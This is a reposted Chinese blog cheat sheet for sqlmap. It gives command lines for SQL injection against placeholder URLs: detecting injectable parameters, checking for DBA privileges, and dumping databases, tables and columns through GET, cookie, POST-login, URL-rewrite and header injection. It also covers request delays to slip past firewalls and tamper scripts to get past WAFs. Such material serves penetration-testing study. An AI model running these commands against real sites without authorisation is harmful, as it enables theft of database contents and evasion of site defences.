专栏首页黑白天sql注入攻击sqlmap-2

sql注入攻击sqlmap-2

sql注入攻击sqlmap-2

cn0sec 2020-02-28

access注入

sqlmap.py -u "url"    ==检测

sqlmap.py -u "url" --tables     ==猜表

sqlmap.py -u "url" --columns -T "表名"       ==猜字段

sqlmap.py -u "url" --dump -T "表名" -C "字段,字段"     ==暴表里面的字段的内容

Mysql数据注入

sqlmap.py -u url  --privileg  ==查看权限(root什么什么的)

sqlmap.py -u url --is-dba  ==判断是不是root权限

sqlmap.py -u url --dbs   ==获取数据库

sqlmap.py -u url --tables -D "数据库名"     ==获取当中的数据库的表

sqlmap.py -u url --columns -D "数据库名" -T "表名"   ==获取数据库 表中的字段

sqlmap.py -u url --dump -D "数据库名" -T "表名" -C "字段,字段"  ==获取数据库表的字段里的内容

Cookie注入

注入点:http://xxx.com/1.php?id=9

sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --table --level 2    ==暴表名

sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --columns -T "表名" --level 2  ==暴表的字段

sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --dump -T "表名" -C "字段,字段" --level 2 ==暴表的字段内容

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie的参数,当>=3的时候将检查User-agentReferer。 利用sqlmap cookies注入突破用户登录继续注入 先把用户登陆的cookie拿到,可以在收藏夹添加一个链接cookies属性:名字自己取 javascript:alert(document.cookie),需要获取当前cookie的时候, 直接点一下这个链接,然后复制一下弹出对话框 里的cookie值就搞定了

在谷歌浏览器,按F12-->找到Application-->选择其中的Cookies-->最后可以在里面找到对应的值可以了。

sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”

-p是指指定参数注入

post登陆注入 mssql

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345"

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs  ==获取数据库名

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "数据库名"   ==列表

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "数据库名"  ==暴字段

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "字段,字段" -T "表" -D "数据名"  ==暴字段内容

我们在使用Sqlmap进行post型注入时, 经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap, 用这种方法进行post注入测试会更准确,操作起来也非常容易。

1. 浏览器打开目标地址http:// www.xxx.com /Login.asp
2. 配置burp代理以拦截请求
3. 点击login表单的submit按钮
4. 这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt,然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令:`./sqlmap.py -r search-test.txt -p tfUPass`
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt, 而用-p指定注入用的参数。

伪静态注入

注入点:http://xxx.com/Index/view/id/40.html   (注意:要加个* 哪里存在注入就加上 * 号)

sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dbs   ==获取数据库名

sqlmap.py -u http://xxx.com/Index/view/id/40*.html --tables -D "数据名"    ==获取数据库当中的表

sqlmap.py -u http://xxx.com/Index/view/id/40*.html --columns -D "数据名" -T "表名"  ==获取数据库的表中的字段

sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dump -D "数据名" -T "表名" -C "字段,字段" ==获取数据库的表中的字段内容

请求延时(一般突破防火墙)

第一种方法:sqlmap.py -u url --delay 2   (注意:2是两秒的意思,也就是说2秒访问一次)
第二种方法:sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思)

可以组合使用 sqlmap.py -u url --delay 2 --safe-freq 3

利用文件来注入

GET /?id=1 HTTP/1.1
Host: www.why25.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0

x-forwarded-for: 1*(存在注入)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638

Connection: keep-alive

Cache-Control: max-age=0

星号(*) 指定注入点
sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1
注意:
--level 是测试等级意思就是说我要更加耐心仔仔细细的加强检测等级3 如果没有level 默认等级是1的

sqlmap遇到url重写的注入

sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2“  哪里存在注入就加上 * 号

sqlmap 编码绕waf注入

sqlmap.py -u http://xxx.com/1.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”

在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载

sqlmap编码脚本

sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”

其中常用到的bypass脚本绕过SQLMAP主要两个脚本:
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
首先确定目标数据库版本,然后选择相应的脚本。
-v 3 --batch --tamper "space2hash.py"
还有其他一些插件:
encodes编码 ——charencode.py
base64编码 —— base64encode.py
替换空格和关键字 —— halfversionedmorekeywords.py

SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。

本文分享自微信公众号 - 黑白天(li0981jing),作者:cn0sec

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • SQL注入攻击之sqlmap

    sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,现在支持python3了。

    cn0sec
  • SSRF详细利用方式及getshell

    在存在ssrf处访问http://10.1.1.200(本机服务地址) 查看kali机器服务器日志信息:

    cn0sec
  • ARP欺骗原理及实战

    从图中可以看出,此时虚拟机不断地向物理机发送ARP应答包,这个应答包将网关的ip地址192.168.1.1和虚拟机的MAC地址00:0c:29:ee:fa:6d...

    cn0sec
  • sqlmap简单中文说明

    首先下载需要的文件,如果是windows环境直接到http://sqlmap.org/下载安装所需要的文件即可。 更新 svn checkout https:...

    Angel_Kitty
  • 安全测试基础2-sqlmap演练

    sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。

    飞天小子
  • 使用C#创建Windows服务

    本文属于原创,转载请注明出处,谢谢! 一、开发环境 操作系统:Windows 10 X64 开发环境:VS2015 编程语言:C# .NET版本:.NET Fr...

    CNXY
  • IoT小能手的微信小程序快速入门教程

    “IoT小能手,你一个搞 IoT 的为啥要学小程序” “物联网是个筐,啥都能够往里装。小程序作为端侧经典应用,当然也得把它收入囊中。”

    twowinter
  • 宠舍汇三拼域名 获千万融资

    北京疆域资本以及星创投基金完成对“宠舍汇”Pre-A轮1000万人民币融资。其官网域名为chongshehui.com。

    躲在树上的域小名
  • Linux从入门到精通系列之PPTP

    今天我们来说下怎么在linux环境下如何搭建PPTP-***,PPTP(Point to Point Tunneling Protocol),即点对点隧道协议。...

    DevinGeng
  • Reddit最火!55页博士笔记总结ICLR 2019大会干货

    作为今年上半年表现最为亮眼的人工智能顶会,ICLR 2019于5月6日至9日在美国新奥尔良举行。本届投稿比去年增长了近60%,共收到1591篇,录取率为31.7...

    新智元

扫码关注云+社区

领取腾讯云代金券